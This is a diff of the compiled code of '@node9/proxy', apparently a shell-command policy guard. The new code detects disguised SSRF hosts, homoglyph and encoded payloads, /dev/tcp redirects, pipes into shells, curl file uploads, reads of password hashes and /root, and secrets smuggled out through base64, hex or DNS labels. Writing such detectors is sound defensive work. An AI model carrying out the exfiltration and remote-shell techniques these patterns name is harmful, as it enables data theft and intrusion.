@node9/proxy 2.34.0 → 2.36.0

package/dist/index.js

@@ -286,6 +286,17 @@ function classifySsrf(host2) {
     return null;
   }
 }
+function isDisguisedSpelling(asWritten, normalized) {
+  let s = asWritten.trim().toLowerCase().replace(/\.$/, "");
+  if (s.startsWith("[") && s.endsWith("]")) s = s.slice(1, -1);
+  if (s === normalized) return false;
+  const parts = s.split(".");
+  const shorthand = parts.length >= 2 && parts.length <= 3 && parts.every((p) => /^(?:0|[1-9][0-9]*)$/.test(p));
+  return !shorthand;
+}
+function ssrfDisguisedReason(m, asWritten) {
+  return `${asWritten} is ${TIER_REASON[m.tier]} written in a disguised form` + (m.normalized ? ` (${m.normalized})` : "") + ". Plain spellings of it are allowed; this one needs a look.";
+}
 function ssrfExemptMatches(entries, normalized) {
   if (!entries?.length || !normalized) return false;
   const target = bitsOf(normalized);
@@ -322,12 +333,26 @@ function ssrfFloor(tokens, opts = {}) {
   for (const { token, binary } of tokens) {
     const m = classifySsrf(token);
     if (!m) continue;
-    if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) continue;
-    if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) continue;
-    return { ...m, host: token, binary, reason: ssrfReason(m, token) };
+    const decision = ssrfFloorDecision(m, token, opts);
+    if (decision === null) continue;
+    return {
+      ...m,
+      host: token,
+      binary,
+      decision,
+      reason: decision === "review" ? ssrfDisguisedReason(m, token) : ssrfReason(m, token)
+    };
   }
   return null;
 }
+function ssrfFloorDecision(m, asWritten, opts) {
+  if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) return null;
+  if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) {
+    if (opts.allowPrivate || m.kind !== "address" || !m.normalized) return null;
+    return isDisguisedSpelling(asWritten, m.normalized) ? "review" : null;
+  }
+  return "block";
+}
 function isVerdict(v) {
   return v === "off" || v === "log" || v === "review" || v === "block";
 }
@@ -495,6 +520,63 @@ function resolveCheckMap(settings) {
   for (const c of CHECKS) out[c.id] = checkValue(settings, c.id);
   return out;
 }
+function isInvisibleChar(char) {
+  return INVISIBLE_ONE.test(char);
+}
+function stripInvisible(text) {
+  return text.replace(INVISIBLE_RE, "");
+}
+function foldHomoglyphs(text) {
+  return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
+}
+function normalizeForScan(text) {
+  return foldHomoglyphs(stripInvisible(text));
+}
+function looksLikeText(buf) {
+  if (buf.length < MIN_DECODED) return false;
+  let printable = 0;
+  for (const b of buf) {
+    if (b >= 32 && b <= 126 || b === 10 || b === 13 || b === 9) printable++;
+  }
+  return printable / buf.length >= 0.9;
+}
+function decodeEmbeddedBase64(text) {
+  const out = [];
+  for (const m of text.matchAll(BASE64_RUN_RE)) {
+    if (out.length >= MAX_BLOBS) break;
+    const run = m[0];
+    if (/^[0-9a-fA-F]+$/.test(run)) continue;
+    const buf = Buffer.from(run, "base64");
+    if (looksLikeText(buf)) out.push(buf.toString("utf8"));
+  }
+  return out;
+}
+function decodeEmbeddedHex(text) {
+  const out = [];
+  for (const m of text.matchAll(HEX_RUN_RE)) {
+    if (out.length >= MAX_BLOBS) break;
+    const buf = Buffer.from(m[0], "hex");
+    if (looksLikeText(buf)) out.push(buf.toString("utf8"));
+  }
+  for (const m of text.matchAll(HEX_ESCAPE_RUN_RE)) {
+    if (out.length >= MAX_BLOBS) break;
+    const buf = Buffer.from(m[0].replace(/\\x/g, ""), "hex");
+    if (looksLikeText(buf)) out.push(buf.toString("utf8"));
+  }
+  return out;
+}
+function scanViews(text) {
+  const views = [{ kind: "original", text }];
+  const normalized = normalizeForScan(text);
+  if (normalized !== text) views.push({ kind: "normalized", text: normalized });
+  for (const t of decodeEmbeddedBase64(normalized)) {
+    views.push({ kind: "base64", text: normalizeForScan(t) });
+  }
+  for (const t of decodeEmbeddedHex(normalized)) {
+    views.push({ kind: "hex", text: normalizeForScan(t) });
+  }
+  return views;
+}
 function isCatHeredocOrLit(part) {
   if (!part) return false;
   const t = syntax.NodeType(part);
@@ -565,14 +647,78 @@ function normalizeCommandForPolicy(command) {
 }
 function commandReadings(command) {
   const r = commandReadingsImpl(command);
-  return r.separator === r.posix ? [r.posix] : [r.posix, r.separator];
+  const out = /* @__PURE__ */ new Set([r.posix, r.separator, r.folded]);
+  for (const payload of literalPayloadsOf(r.posix, 0)) {
+    for (const reading of commandReadings(payload)) out.add(reading);
+  }
+  return [...out];
+}
+function literalPayloadsOf(command, depth) {
+  if (depth > 0 || !/\b(?:sh|bash|zsh|dash|ksh|eval)\b/.test(command)) return [];
+  const f = parseShared(command);
+  if (f === PARSE_FAIL) return [];
+  const out = [];
+  try {
+    syntax.Walk(f, (node) => {
+      if (!node || out.length >= MAX_READING_PAYLOADS) return false;
+      const n = node;
+      if (syntax.NodeType(n) !== "CallExpr") return true;
+      const words = (n.Args || []).map((a) => resolveWordLiteral(a));
+      if (words.length === 0) return true;
+      const payload = literalShellPayload(words, baseWord(words[0]));
+      if (payload !== null && payload !== command) out.push(payload);
+      return true;
+    });
+  } catch {
+    return out;
+  }
+  return out;
+}
+function foldCommandWords(reading) {
+  if (!/[^\x00-\x7f]/.test(reading)) return reading;
+  const f = parseShared(reading);
+  if (f === PARSE_FAIL) return reading;
+  const toCharIndex = byteOffsetToCharIndex(reading);
+  const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
+  const edits = [];
+  try {
+    syntax.Walk(f, (node) => {
+      if (!node) return false;
+      const n = node;
+      if (syntax.NodeType(n) !== "CallExpr") return true;
+      const args = n.Args || [];
+      const words = args.map((a) => resolveWordLiteral(a));
+      const folded = words.map((w) => w === null ? null : foldHomoglyphs(w));
+      const head = unwrapCommandHead(folded);
+      for (let i = 0; i <= head && i < args.length; i++) {
+        const parts = args[i].Parts || [];
+        if (parts.length !== 1 || syntax.NodeType(parts[0]) !== "Lit") continue;
+        const value = parts[0].Value ?? "";
+        const word = folded[i];
+        if (word === null || word === value || !/[^\x00-\x7f]/.test(value)) continue;
+        if (!/^[A-Za-z0-9._/-]+$/.test(word)) continue;
+        const s = at(args[i].Pos().Offset());
+        const e = at(args[i].End().Offset());
+        if (s < 0 || e < 0) continue;
+        edits.push([s, e, word]);
+      }
+      return true;
+    });
+  } catch {
+    return reading;
+  }
+  if (edits.length === 0) return reading;
+  edits.sort((a, b) => b[0] - a[0]);
+  let out = reading;
+  for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
+  return out;
 }
 function commandReadingsImpl(command) {
   return cachedNormalize(command, () => normalizeCommandForPolicyImpl(command));
 }
 function normalizeCommandForPolicyImpl(command) {
   const f = parseShared(command);
-  if (f === PARSE_FAIL) return { posix: command, separator: command };
+  if (f === PARSE_FAIL) return { posix: command, separator: command, folded: command };
   try {
     const toCharIndex = byteOffsetToCharIndex(command);
     const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
@@ -640,9 +786,10 @@ function normalizeCommandForPolicyImpl(command) {
       for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
       return out;
     };
-    return { posix: apply(rewrites), separator: apply(quoteOnlyRewrites) };
+    const posix = apply(rewrites);
+    return { posix, separator: apply(quoteOnlyRewrites), folded: foldCommandWords(posix) };
   } catch {
-    return { posix: command, separator: command };
+    return { posix: command, separator: command, folded: command };
   }
 }
 function scanArgsForDynamicExec(args, startIdx) {
@@ -803,6 +950,13 @@ function shellConsumesPipe(args) {
   }
   return true;
 }
+function curlSourceOperand(flag, value) {
+  const file2 = (f) => f && f !== "-" && f !== "." ? f : null;
+  if (flag === "-T" || flag === "--upload-file") return file2(value);
+  if (flag === "--data-urlencode") return file2(/^[^=@]*@(.+)$/.exec(value)?.[1]);
+  if (flag === "-F" || flag === "--form") return file2(/^[^=]*=[@<]([^;]+)/.exec(value)?.[1]);
+  return value.startsWith("@") ? file2(value.slice(1)) : null;
+}
 function analyzeSqlDestructive(command) {
   if (!SQL_DDL_RE.test(command)) return null;
   const { actions } = analyzeShellCommand(command);
@@ -964,13 +1118,19 @@ function inlineExecStmt(stmt, pipeFed) {
   }
   let positionals2 = 0;
   let selectedProgram = false;
-  for (const a of args) {
+  for (let i = 0; i < args.length; i++) {
+    const a = args[i];
     if (a == null) {
       positionals2++;
       selectedProgram = true;
       continue;
     }
-    if (!selectedProgram && isInlineCodeFlag(interp, a)) return true;
+    if (!selectedProgram && isInlineCodeFlag(interp, a)) {
+      if (!/^(bash|sh|zsh|dash|ksh)$/.test(interp)) return true;
+      const payload = args[i + 1];
+      if (payload == null) return true;
+      return shellPayloadNeedsReview(payload);
+    }
     if (a === "-m") {
       selectedProgram = true;
       continue;
@@ -988,6 +1148,45 @@ function inlineExecStmt(stmt, pipeFed) {
   }
   return false;
 }
+function shellPayloadNeedsReview(payload) {
+  if (payloadNesting >= MAX_PAYLOAD_NESTING) return true;
+  const f = parseShared(payload);
+  if (f === PARSE_FAIL) return true;
+  let review = false;
+  payloadNesting++;
+  try {
+    syntax.Walk(f, (node) => {
+      if (!node || review) return false;
+      const n = node;
+      if (syntax.NodeType(n) !== "CallExpr") return true;
+      const words = (n.Args || []).map((a) => resolveWordLiteral(a));
+      if (words.length === 0) return true;
+      const h = unwrapCommandHead(words);
+      const head = words[h];
+      if (head === null || head === void 0) {
+        review = true;
+        return false;
+      }
+      const name = head.split("/").pop()?.toLowerCase() ?? "";
+      if (name === "eval" || name === "source" || name === ".") {
+        review = true;
+        return false;
+      }
+      return true;
+    });
+    if (!review && detectDangerousShellExec(payload) !== null) review = true;
+    if (!review && /\|\s*(?:[\w./-]*\/)?(?:ba|z|da|k|c|fi)?sh\b|\|\s*(?:python[\d.]*|node|perl|ruby|php)\b/i.test(
+      payload
+    ))
+      review = true;
+    if (!review && detectInlineExec(payload)) review = true;
+  } catch {
+    review = true;
+  } finally {
+    payloadNesting--;
+  }
+  return review;
+}
 function detectInlineExec(command) {
   const f = parseShared(command);
   if (f === PARSE_FAIL) {
@@ -1068,12 +1267,78 @@ function positionedArgs(words, from = 1, to = words.length) {
 function extractLiteralArgs(callExpr) {
   const rawArgs = callExpr.Args || [];
   if (rawArgs.length === 0) return { name: "", flags: [], paths: [], words: [], args: [] };
-  const words = rawArgs.map((a) => resolveWordLiteral(a));
+  const words = rawArgs.map((a) => windowsDrivePathSpelling(a) ?? resolveWordLiteral(a));
   const name = baseWord(words[0]);
   const flags = words.slice(1).filter((w) => w !== null && w.startsWith("-"));
   const args = positionedArgs(words);
   return { name, flags, paths: args.map((a) => a.value), words, args };
 }
+function shellScriptOperands(command) {
+  const f = parseShared(command);
+  if (f === PARSE_FAIL) return [];
+  const out = [];
+  const seen = /* @__PURE__ */ new Set();
+  const add = (p) => {
+    if (!p || p.startsWith("-") || seen.has(p) || out.length >= MAX_SCRIPT_OPERANDS) return;
+    if (/(^|[\\/])node_modules[\\/]|[\\/]\.bin[\\/]/.test(p)) return;
+    seen.add(p);
+    out.push(p);
+  };
+  try {
+    walkWithCalls(f, (node) => {
+      if (!node) return false;
+      const n = node;
+      if (syntax.NodeType(n) !== "CallExpr") return true;
+      const callArgs = n.Args || [];
+      if (callArgs.length === 0) return true;
+      const words = callArgs.map((a) => resolveWordLiteral(a));
+      const h = unwrapCommandHead(words);
+      const headWord = words[h];
+      if (headWord === null || headWord === void 0) return true;
+      const name = baseWord(headWord);
+      if (SCRIPT_RUNNERS.has(name)) {
+        for (let i = h + 1; i < words.length; i++) {
+          const w = words[i];
+          if (w === null) return true;
+          if (w === "-c" || w === "-lc" || w === "-ec") return true;
+          if (w === "--") {
+            add(words[i + 1] ?? null);
+            return true;
+          }
+          if (w.startsWith("-") || w.startsWith("+")) {
+            if (SCRIPT_RUNNER_VALUE_FLAGS.has(w)) i++;
+            continue;
+          }
+          add(w);
+          return true;
+        }
+        return true;
+      }
+      if (/[\\/]/.test(headWord)) add(headWord);
+      return true;
+    });
+  } catch {
+    return out;
+  }
+  return out;
+}
+function windowsDrivePathSpelling(word) {
+  const parts = word?.Parts || [];
+  if (parts.length === 0 || !parts.every((p) => syntax.NodeType(p) === "Lit")) return null;
+  const raw = parts.map((p) => p.Value ?? "").join("");
+  return /^[A-Za-z]:\\[^\s'"$`]*$/.test(raw) ? raw : null;
+}
+function devNetRedirectHost(word) {
+  if (!word) return null;
+  const m = /^\/dev\/(tcp|udp)\/([^/\s]+)\/([^/\s]+)$/i.exec(word.trim());
+  if (!m) return null;
+  const host2 = m[2].toLowerCase();
+  return host2.length <= 253 ? host2 : null;
+}
+function redirectWords(stmt) {
+  const redirs = stmt.Redirs || [];
+  return redirs.filter((r) => r && r.Word).map((r) => resolveWordLiteral(r.Word));
+}
 function payloadKey(payload) {
   if (!assignmentTable || assignmentTable.size === 0) return payload;
   const bindings = [];
@@ -1422,7 +1687,18 @@ function extractShellDestinations(command) {
       () => walkWithCalls(f, (node) => {
         if (!node) return false;
         const n = node;
-        if (syntax.NodeType(n) === "Stmt") trackStatement(n);
+        if (syntax.NodeType(n) === "Stmt") {
+          trackStatement(n);
+          for (const raw of redirectWords(n)) {
+            const host2 = devNetRedirectHost(raw);
+            if (!host2) continue;
+            const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
+            const key = `${binary}:${host2}`;
+            if (seen.has(key)) continue;
+            seen.add(key);
+            out.push({ host: host2, binary, raw });
+          }
+        }
         if (syntax.NodeType(n) !== "CallExpr") return true;
         const callArgs = n.Args || [];
         if (callArgs.length === 0) return true;
@@ -1458,7 +1734,18 @@ function extractShellDestTokens(command) {
       () => walkWithCalls(f, (node) => {
         if (!node) return false;
         const n = node;
-        if (syntax.NodeType(n) === "Stmt") trackStatement(n);
+        if (syntax.NodeType(n) === "Stmt") {
+          trackStatement(n);
+          for (const raw of redirectWords(n)) {
+            const host2 = devNetRedirectHost(raw);
+            if (!host2) continue;
+            const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
+            const key = `${binary}:${host2}`;
+            if (seen.has(key)) continue;
+            seen.add(key);
+            out.push({ token: host2, binary });
+          }
+        }
         if (syntax.NodeType(n) !== "CallExpr") return true;
         const callArgs = n.Args || [];
         if (callArgs.length === 0) return true;
@@ -1798,8 +2085,11 @@ function copySourcePaths(words) {
     const out = [];
     for (const action of findActions(words, fi)) {
       const h2 = unwrapCommandHead(action);
-      if (!resolveCopyShape(action, h2)) continue;
-      out.push(...starts, ...copySourcePaths(action));
+      const shape2 = resolveCopyShape(action, h2);
+      if (!shape2) continue;
+      const inner = copySourcePaths(action);
+      const startsCopied = shape2.shape.source !== "flagOperand" || inner.some((p) => p.includes("{}"));
+      out.push(...startsCopied ? starts : [], ...inner);
     }
     return out;
   }
@@ -1855,11 +2145,24 @@ function copySourcePaths(words) {
           );
         return f.letter !== null && names.includes(f.letter);
       };
-      const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => f.attached);
+      const sourceFlagName = (w) => {
+        const names = shape.sourceFlags ?? [];
+        if (w.startsWith("--")) {
+          const name = w.includes("=") ? w.slice(0, w.indexOf("=")) : w;
+          return names.find(
+            (n) => n.startsWith("--") && (n === name || name.length >= 3 && n.startsWith(name))
+          ) ?? name;
+        }
+        const letters = w.slice(1);
+        const owner = letters.split("").find((c) => (shape.valueLetters ?? names).includes(c));
+        return `-${owner ?? letters[letters.length - 1]}`;
+      };
+      const operandFile = (flag, value) => shape.sourceOperand ? shape.sourceOperand(flag, value) : value;
+      const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => operandFile(f.long ?? sourceFlagName(`-${f.letter}`), f.attached));
       return [
-        ...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => a.value),
+        ...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => operandFile(sourceFlagName(a.afterFlag), a.value)),
         ...inline
-      ];
+      ].filter((p) => p !== null);
     }
     case "archive":
       src = archiveInputs(shape.archive, args, tail);
@@ -2205,9 +2508,9 @@ function matchesPattern(text, patterns) {
   const withoutDotSlash = text.replace(/^\.\//, "");
   return isMatch(withoutDotSlash) || isMatch(`./${withoutDotSlash}`);
 }
-function getNestedValue(obj, path26) {
+function getNestedValue(obj, path27) {
   if (!obj || typeof obj !== "object") return null;
-  const segments2 = path26.split(".");
+  const segments2 = path27.split(".");
   for (const seg of segments2) {
     if (FORBIDDEN_PATH_SEGMENTS.has(seg)) return null;
   }
@@ -2633,6 +2936,12 @@ function collectShellFileAccesses(command, context = {}) {
     if (FS_READ_TOOLS.has(name) && name !== "dd") {
       for (const p of readerPaths(words, head)) add("read", locate(p), state);
     }
+    if (["ls", "tree", "dir", "vdir"].includes(name)) {
+      for (const token of args) {
+        if (!token || token.value.startsWith("-")) continue;
+        add("read", token, state, { listing: true });
+      }
+    }
     if (name === "dd") {
       for (const token of args)
         if (token && /^(?:if|of)=/.test(token.value)) {
@@ -2848,6 +3157,8 @@ function collectShellFileAccesses(command, context = {}) {
   function findActions2(tokens, words, head, state, nested, depth) {
     const starts = findStartPoints(words, head).starts;
     const roots = (starts.length ? starts : ["."]).slice(0, MAX_ALTERNATIVES);
+    for (const start of starts.slice(0, MAX_ALTERNATIVES))
+      add("read", { value: start }, state, { listing: true });
     let nameFilter = null;
     let pathFilter = null;
     let shallow = false;
@@ -3182,8 +3493,8 @@ function collectFileAccesses(tool, args, context = {}, inspection = {}) {
   }
   return out;
 }
-function within(path26, root) {
-  return path26 === root || path26.startsWith(root === "/" ? "/" : root + "/");
+function within(path27, root) {
+  return path27 === root || path27.startsWith(root === "/" ? "/" : root + "/");
 }
 function hits(access, paths, directories, context) {
   const home = context.homeDirs?.[0] ?? "~";
@@ -3239,6 +3550,10 @@ function hitsSystemDir(access, context, dirs = SYSTEM_DIRS) {
   }
   return false;
 }
+function hitsRootHome(access, context) {
+  if (context.homeDirs?.[0] === "/root") return false;
+  return hitsSystemDir(access, context, ["/root"]);
+}
 function uploadDirs(context) {
   return context.homeDirs?.[0] === "/root" ? UPLOAD_SYSTEM_DIRS.filter((d) => d !== "/root") : UPLOAD_SYSTEM_DIRS;
 }
@@ -3271,10 +3586,14 @@ function evaluateProtectedFileAccess(accesses, context, settings) {
         "files.system-dirs",
         "review-system-file-upload",
         "Uploading a system file requires approval"
-      ] : !mutation && hits(access, PASSWORD_HASH_FILES, [], context) ? [
+      ] : !mutation && !access.listing && hits(access, PASSWORD_HASH_FILES, [], context) ? [
         "files.password-hashes",
         "review-password-hash-read",
         "Reading system password hashes requires approval"
+      ] : !mutation && !access.upload && hitsRootHome(access, context) ? [
+        "files.system-dirs",
+        "review-root-home-read",
+        "Reading the root account's home requires approval"
       ] : null;
     } catch {
       consider(incompleteFileVerdict(access.operation));
@@ -3338,7 +3657,7 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
   };
   for (const word of text.matchAll(/[a-zA-Z]+/g)) {
     const index = indices.get(word[0]);
-    if (index === void 0 || run.length && !/^\s+$/.test(text.slice(previousEnd, word.index))) {
+    if (index === void 0 || run.length && !/^[\s+]+$/.test(text.slice(previousEnd, word.index))) {
       if (inspect()) return true;
       if (budget.reasons.has("mnemonic-budget")) return false;
       run = [];
@@ -3352,95 +3671,291 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
   }
   return inspect();
 }
-function validateLuhn(digits) {
-  if (!/^\d+$/.test(digits)) return false;
-  if (digits.length < 12) return false;
-  if (!/[1-9]/.test(digits)) return false;
-  let sum = 0;
-  let double = false;
-  for (let i = digits.length - 1; i >= 0; i--) {
-    let d = digits.charCodeAt(i) - 48;
-    if (double) {
-      d *= 2;
-      if (d > 9) d -= 9;
-    }
-    sum += d;
-    double = !double;
-  }
-  return sum % 10 === 0;
-}
-function validateIban(raw) {
-  const s = raw.replace(/[ -]/g, "").toUpperCase();
-  if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
-  const want = IBAN_LENGTH[s.slice(0, 2)];
-  if (want === void 0 || s.length < want) return false;
-  const iban = s.slice(0, want);
-  if (!/^[A-Z0-9]+$/.test(iban)) return false;
-  const rearranged = iban.slice(4) + iban.slice(0, 4);
-  let mod = 0;
-  for (const ch of rearranged) {
-    const code = ch.charCodeAt(0);
-    const digits = code >= 65 ? String(code - 55) : ch;
-    for (const d of digits) mod = (mod * 10 + (d.charCodeAt(0) - 48)) % 97;
-  }
-  return mod === 1;
-}
-function validateBase58Check(s) {
-  if (!s) return null;
-  let n = 0n;
-  for (const c of s) {
-    const v = B58_INDEX[c];
-    if (v === void 0) return null;
-    n = n * 58n + BigInt(v);
-  }
-  let hex = n.toString(16);
-  if (hex.length % 2) hex = "0" + hex;
-  let zeros = 0;
-  for (const c of s) {
-    if (c !== "1") break;
-    zeros++;
-  }
-  const bytes = Buffer.concat([
-    Buffer.alloc(zeros),
-    n === 0n ? Buffer.alloc(0) : Buffer.from(hex, "hex")
-  ]);
-  if (bytes.length < 5) return null;
-  const body = bytes.subarray(0, bytes.length - 4);
-  const check = bytes.subarray(bytes.length - 4);
-  const h = (0, import_crypto3.createHash)("sha256").update((0, import_crypto3.createHash)("sha256").update(body).digest()).digest();
-  return h.subarray(0, 4).equals(check) ? body : null;
+function newSecretViewBudget() {
+  return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
 }
-function validateWif(s) {
-  const p = validateBase58Check(s);
-  if (!p || p[0] !== 128) return false;
-  return p.length === 33 || p.length === 34 && p[33] === 1;
+function textBytes(buf) {
+  if (buf.length < 16) return null;
+  const text = buf.toString("utf8");
+  if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
+  return text;
 }
-function validateXprv(s) {
-  const p = validateBase58Check(s);
-  if (!p || p.length !== 78) return false;
-  const version = p.readUInt32BE(0);
-  return XPRV_VERSIONS.has(version) && p[45] === 0;
+function percentOnce(text) {
+  return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
+    try {
+      return decodeURIComponent(run);
+    } catch {
+      return run.replace(
+        /%([a-f0-9]{2})/gi,
+        (_, h) => String.fromCharCode(parseInt(h, 16))
+      );
+    }
+  });
 }
-function crc32(input) {
-  if (!CRC32_TABLE) {
-    CRC32_TABLE = new Int32Array(256);
-    for (let i = 0; i < 256; i++) {
-      let c2 = i;
-      for (let k = 0; k < 8; k++) c2 = c2 & 1 ? 3988292384 ^ c2 >>> 1 : c2 >>> 1;
-      CRC32_TABLE[i] = c2;
+function* wrappedBase64(text) {
+  if (!text.includes("\n")) return;
+  const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
+  let run = [];
+  let width = 0;
+  const flush = function* () {
+    if (run.length >= 2) yield run.join("");
+    run = [];
+    width = 0;
+  };
+  for (const raw of text.split("\n")) {
+    const line = raw.trim();
+    const full = line.length >= 16 && word.test(line) && !line.includes("=");
+    if (full && (!run.length || line.length === width)) {
+      run.push(line);
+      width = line.length;
+      continue;
+    }
+    if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
+      run.push(line);
+      yield* flush();
+      continue;
+    }
+    yield* flush();
+    if (full) {
+      run.push(line);
+      width = line.length;
     }
   }
-  const bytes = typeof input === "string" ? Buffer.from(input, "utf8") : input;
-  let c = -1;
-  for (let i = 0; i < bytes.length; i++) c = CRC32_TABLE[(c ^ bytes[i]) & 255] ^ c >>> 8;
-  return (c ^ -1) >>> 0;
+  yield* flush();
 }
-function base62Checksum(value) {
-  let n = value >>> 0;
-  let s = "";
-  while (n > 0) {
-    s = B62[n % 62] + s;
-    n = Math.floor(n / 62);
+function* encodedRegions(text, budget) {
+  yield [text, false];
+  for (const block of wrappedBase64(text)) yield [block, false];
+  for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
+    try {
+      new URL(match[0]);
+    } catch {
+      continue;
+    }
+    const parts = match[0].match(
+      /^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
+    );
+    if (!parts) continue;
+    const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
+    const regions = [
+      parts[1],
+      ...host2.split("."),
+      ...parts[2].split("/"),
+      ...(parts[3] ?? "").split("&"),
+      parts[4] ?? ""
+    ];
+    for (const region of regions) if (region) yield [region, false];
+    const labels = host2.split(".");
+    if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
+      continue;
+    for (let start = 0; start < labels.length; start++) {
+      let joined = labels[start];
+      for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
+        const run = labels.slice(start, end + 1);
+        if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
+          break;
+        joined += labels[end];
+        if (joined.length < 16) continue;
+        budget.joinedLabelBytes += joined.length;
+        if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
+          budget.reasons.add("decode-labels");
+          return;
+        }
+        yield [joined, true];
+      }
+    }
+  }
+}
+function decodeBase32(raw) {
+  const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
+  const out = [];
+  let bits = 0;
+  let accumulator = 0;
+  for (const c of raw.toUpperCase()) {
+    accumulator = accumulator << 5 | alphabet.indexOf(c);
+    bits += 5;
+    if (bits >= 8) {
+      bits -= 8;
+      out.push(accumulator >> bits);
+      accumulator &= (1 << bits) - 1;
+    }
+  }
+  if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
+  return Buffer.from(out);
+}
+function* decodedCandidates(text, budget) {
+  const stripped = stripInvisible(text);
+  if (stripped !== text) yield ["invisibles", stripped];
+  if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
+  const families = [
+    ["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
+    ["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
+    ["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
+    ["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
+    ["base32", /\b[A-Z2-7]{26,}\b/gi]
+  ];
+  for (const [region, joined] of encodedRegions(text, budget)) {
+    if (joined) yield ["dns-labels", region];
+    for (const [kind, re] of families) {
+      for (const match of region.matchAll(re)) {
+        const raw = match[0];
+        let buf;
+        if (kind === "base64") {
+          if (/^[a-f0-9]+$/i.test(raw)) continue;
+          const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
+          const unpadded = normalized.replace(/=+$/, "");
+          if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
+          buf = Buffer.from(normalized, "base64");
+          if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
+        } else if (kind === "base32") {
+          const decoded2 = decodeBase32(raw);
+          if (!decoded2) continue;
+          buf = decoded2;
+        } else {
+          buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
+        }
+        const decoded = textBytes(buf);
+        if (decoded !== null) yield [kind, decoded];
+      }
+    }
+  }
+}
+function secretViews(text, budget) {
+  const seen = /* @__PURE__ */ new Set([text]);
+  const out = [];
+  let frontier = [{ text, transforms: [] }];
+  for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
+    const next = [];
+    for (const parent of frontier) {
+      let perLeaf = 0;
+      for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
+        if (seen.has(decoded)) continue;
+        seen.add(decoded);
+        const normalizing = kind === "invisibles" || kind === "percent";
+        if (depth >= 2 && !normalizing) {
+          budget.nestedBytes += Buffer.byteLength(decoded);
+          if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
+            budget.reasons.add("decode-nested");
+            return out;
+          }
+        }
+        const view = { text: decoded, transforms: [...parent.transforms, kind] };
+        out.push(view);
+        next.push(view);
+      }
+    }
+    frontier = next;
+    if (!frontier.length) return out;
+  }
+  for (const view of frontier) {
+    if (!decodedCandidates(view.text, budget).next().done) {
+      budget.reasons.add("decode-nested");
+      break;
+    }
+  }
+  return out;
+}
+function validateLuhn(digits) {
+  if (!/^\d+$/.test(digits)) return false;
+  if (digits.length < 12) return false;
+  if (!/[1-9]/.test(digits)) return false;
+  let sum = 0;
+  let double = false;
+  for (let i = digits.length - 1; i >= 0; i--) {
+    let d = digits.charCodeAt(i) - 48;
+    if (double) {
+      d *= 2;
+      if (d > 9) d -= 9;
+    }
+    sum += d;
+    double = !double;
+  }
+  return sum % 10 === 0;
+}
+function validateAbaRouting(digits) {
+  if (!/^\d{9}$/.test(digits)) return false;
+  const prefix = Number(digits.slice(0, 2));
+  const assigned = prefix <= 12 || prefix >= 21 && prefix <= 32 || prefix >= 61 && prefix <= 72 || prefix === 80;
+  if (!assigned) return false;
+  const weights = [3, 7, 1, 3, 7, 1, 3, 7, 1];
+  let sum = 0;
+  for (let i = 0; i < 9; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
+  return sum % 10 === 0;
+}
+function validateIban(raw) {
+  const s = raw.replace(/[ -]/g, "").toUpperCase();
+  if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
